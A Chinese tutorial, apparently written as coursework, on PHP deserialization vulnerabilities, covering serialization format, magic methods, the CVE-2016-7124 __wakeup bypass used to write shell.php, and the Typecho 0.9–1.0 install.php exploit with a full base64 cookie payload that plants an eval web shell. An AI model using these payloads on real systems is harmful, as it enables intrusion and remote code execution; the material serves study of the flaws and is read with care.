PHP反序列化进阶学习与总结

2022-09-26 10:02:22 浏览数 (1)

文章来源|MS08067 Web高级攻防第3期作业

本文作者:huang(Web高级攻防3期学员)

基本概念

序列化(串行化):将变量转换为可保存或传输的字符串的过程;反序列化(反串行化):将字符串转化成原来的变量使用。

PHP序列化的函数为serialize(),反序列化的函数为unserialize().

为什么需要序列化序列化是为了对象可以跨平台存储,和进行网络传输。进行跨平台存储和网络传输的方式就是IO,IO支持的数据格式就是字节数组。也就是说把一个对象状态保存成一种跨平台识别的字节格式,然后其他的平台才可以通过字节信息解析还原对象信息。

举个栗子:

代码语言:javascript复制
<?php 
//定义一个类,类名是chybeta
class chybeta{
  //定义一个变量
  var $test = 123;
}
//new一个对象,实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
 ?>

上面代码通过序列化函数将一个对象class1转化成可传输的字符串。输出结果为 O:7:"chybeta":1:{s:4:"test";i:123;} ,其中O表示对象,7表示对象名chybeta的长度,chybeta是对象名,1表示有1个参数,{ }里面的参数有key和value,s表示是string对象,4表示长度,test是key,i表示是integer对象,123是value。

序列化中各种数据表达方式在PHP中对不同类型的数据用不同的字母来标识:a - array(数组型) b - boolean(布尔型) d - double(双精度型) i - integer(整数型) o - common object(一般对象) r - reference(引用) s - string(字符型) C - custom object(自定义对象) O - class(类) N - null(空) R - pointer reference(指针、引用) U - unicode string(编码的字符串)

类的的访问权限有private、protected、public,这三者序列化表示方式不同。例:

代码语言:javascript复制
<?php
class demo
{
    public $test = 'hacker';
    private $test2 = 'pentester';
    protected $test3 = 'redhat';
}
$object = new test();
$uns = serialize($object);
echo $uns;
?>

输出结果:O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8:"test3";s:6:"redhat";} 明明demotest2和test3分别是9和6,为啥输出的结果却是11和8呢?通过写到文件使用HEXDUMP查看便得:

public属性序列化后的结果正常;private属性在序列后类名前后均有,也即类名属性名;protected在序列化时序列化后的结果是*属性名;

需要注意得是:在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作

反序列化漏洞

PHP反序列化漏洞也叫PHP对象注入。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,从而造成反序列化漏洞

代码语言:javascript复制
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发

举个栗子:

代码语言:javascript复制
<?php  
//定义类
class Test    
{   
  //定义两个变量
    public $variable = 'BUZZ';    
    public $variable2 = 'OTHER'; 
    //定义方法
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    public function __construct()    
    {    
        echo '__construct<br />';    
    }    
    public function __destruct()    
    {    
        echo '__destruct<br />';    
    }    
    public function __wakeup()    
    {    
        echo '__wakeup<br />';    
    }    
    public function __sleep()    
    {    
        echo '__sleep<br />';    
        return array('variable', 'variable2');    
    }    
}    
// 创建对象调用__construct  
$obj = new Test();    
// 序列化对象调用__sleep    
$serialized = serialize($obj);    
// 输出序列化后的字符串    
print 'Serialized: ' . $serialized . '<br />';    
// 重建对象调用__wakeup    
$obj2 = unserialize($serialized);    
// 调用PintVariable输出数据   
$obj2->PrintVariable();    
// 脚本结束调用__destruct     
?>   

输出结果:

修复和防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

漏洞复现

一、CVE-2016-7124(__wakeup()绕过)

漏洞原理

触发条件:PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。漏洞利用:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

复现过程

通过以下代码来模拟CVE-2016-7124漏洞环境

代码语言:javascript复制
<?php
class A{
  public $a = "test";   //定义public类属性$a
  public $b="hello";    //定义public类属性$b
  function __destruct(){        //当对象被销毁时触发以下函数
    $fp = @fopen("C:/phpStudy/PHPTutorial/WWW/".$this->b.".php","w");   //打开文件并赋予写权限,若无文件,则新建。C:/phpStudy/PHPTutorial/WWW/为文件保存位置
    echo "C:/phpStudy/PHPTutorial/WWW/".$this->b.".php";  
    @fputs($fp,$this->a);          //写入变量$a的值
    @fclose($fp);                 //关闭打开的文件
  }
  function __wakeup()              //执行unserialize()时,先会调用这个函数,导致
      {
          foreach(get_object_vars($this) as $k => $v) {
    $this->$k = null;   //通过遍历将输入的值赋值为空
          }
          echo "Waking up...n"."<br/>";
      }
}
$test = @$_POST['po'];        //接收参数
$test_unser = @unserialize($test);  //将输入的字符变为反序列化为对象。
?>

使用playload构造一串字符串,目的是将赋值给$a,shell赋值给B,从而在目录文件下生产shell.php的木马文件。(1)输入po=O:1:"A":2:{s:1:"a";s:18:"";s:1:"b";s:5:"shell"}发现函数先执行了__wakeup()函数,导致我们无法实现写入shell。

(2)通过当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()执行的特性,我们重新构造palyload,将对象个数从2改成3。po=O:1:"A":3:{s:1:"a";s:18:"";s:1:"b";s:5:"shell"}

发现直接绕过__wakeup()函数,且成功写入shell.php文件,访问shell.php。

复现中遇到问题的反思

环境搭建复现时,发现输入playload发现没有任何显示,无论怎么修改playload都没有任何作用

通过输出传入参数发现"前都加上了/

根据之前的经验,PHP有个magic_quotes_gpch函数 magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。因为magic_quotes_gp状态是开启的,所以输入的符号都加上/,导致传入的playload无法复现。反思:正因为用户输入是不可控的,所以要严格控制用户输入。只有对用户输入的数据进行严控的校验,才能防止漏洞的产生。

二、typecho PHP反序列化漏洞复现

typecho简介:Typecho 是一款博客程序,基于 PHP (需要 PHP5 以上版本)构建,可以运行在各种平台上,支持多种数据库(Mysql, PostgreSQL, SQLite)。源码下载地址:https://github.com/typecho/typecho/tags 漏洞环境:Typecho 0.9~1.0版本 php的版本一定要在5.4以上

漏洞复现过程

打开bp,访问http://127.0.0.1/typecho/install.php?finish=1 对网页进行抓包并发送到重发器

构造playload如下:

代码语言:javascript复制
Cookie:__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://127.0.0.1/typecho/install.php 

替换Cookie值如下,并发送

相应包显示500,表示成功执行poc。访问http://127.0.0.1/typecho/p0.php 发送post数据p0=phpinfo(); 显示phpinfo信息。

漏洞原理分析

typecho反序列化的漏洞的入口在install.php,进入install.php首先经过两个判断

代码语言:javascript复制
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
 if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

由代码可以看出,必须通过get传入参数finish且referer必须为站内url。所以抓包时我们访问地址为http://IP/typecho/install.php?finish=1 对代码进行审计,搜索unserialize,发现以下代码存在反序列化漏洞

上面代码首先获取到cookie中的__typecho_config值base64解码后,然后进行反序列化。反序列化后把config['adapter']和config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_Db的addServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

通过寻找代码中的魔法函数。发现/var/Typecho/Feed.php 文件223行使用了toString方法

顺着这个函数,可以发现调用了$item['author']->screenName,这是一个当前类的私有变量,可以进行利用。

在/var/Typecho/Request.php 第269行可以找到__get方法(__get会在读取不可访问的属性的值的时候调用).

顺着_get()方法,调用了applyFilter函数

Request.php中的applyFilter函数发现call_user_func(代码执行)

所以我们可以通过设置item['author']来控制Typecho_Request类中的私有变量,这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。

参考文档:https://paper.seebug.org/424/#0x03(重点推荐)https://www.cnblogs.com/litlife/p/10798061.html https://blog.csdn.net/cldimd/article/details/104999404 https://zhuanlan.zhihu.com/p/149252373 https://www.cnblogs.com/zy-king-karl/p/11436872.html https://xz.aliyun.com/t/378 https://zhuanlan.zhihu.com/p/33426188

0 人点赞